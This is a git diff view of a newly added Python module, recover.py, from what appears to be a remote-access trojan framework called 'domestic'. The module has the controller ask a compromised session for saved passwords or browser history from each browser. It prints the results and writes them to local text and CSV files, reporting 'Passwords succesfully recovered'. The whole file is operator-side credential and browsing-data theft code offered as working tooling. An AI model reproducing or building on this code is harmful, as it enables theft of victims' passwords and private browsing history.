summaryrefslogtreecommitdiff
path: root/domestic/session/server_handling/recover.py
diff options
context:
space:
mode:
Diffstat (limited to 'domestic/session/server_handling/recover.py')
-rw-r--r--domestic/session/server_handling/recover.py66
1 files changed, 66 insertions, 0 deletions
diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py
new file mode 100644
index 0000000..0c29c4c
--- /dev/null
+++ b/domestic/session/server_handling/recover.py
@@ -0,0 +1,66 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_history import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def recover(message):
+ password = validate_dict_key(message, 'password')
+ history = validate_dict_key(message, 'history')
+ quiet = validate_dict_key(message, 'quiet')
+ force = validate_dict_key(message, 'force')
+
+ if force is None:
+ message['force'] = False
+
+ if password:
+ del message['password']
+ message['action_type'] = 'password'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ text = [x for x in data['message'].split('\n') if x != '']
+ count = 0
+
+ for line in text:
+ if line[:3] == '[+]':
+ print()
+ status_message(line[4:], 'success', {'end': True, 'point': 'empty'})
+ elif line[:3] == '[-]':
+ print()
+ status_message(line[4:], 'danger', {'end': True, 'point': 'empty'})
+ elif line[:19] == '-------------------':
+ if count != 0: print()
+ count += 1
+ status_message(line, 'raw')
+ else:
+ status_message(line, 'raw')
+ print()
+
+ make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered')
+ elif history:
+ del message['history']
+ message['action_type'] = 'history'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ for browser, browser_data in data['message'].items():
+ browser = browser.capitalize()
+ for link, title, date in browser_data:
+ status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True})
+ print()
+
+ make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered')
+ else:
+ raise Exception('Error message') \ No newline at end of file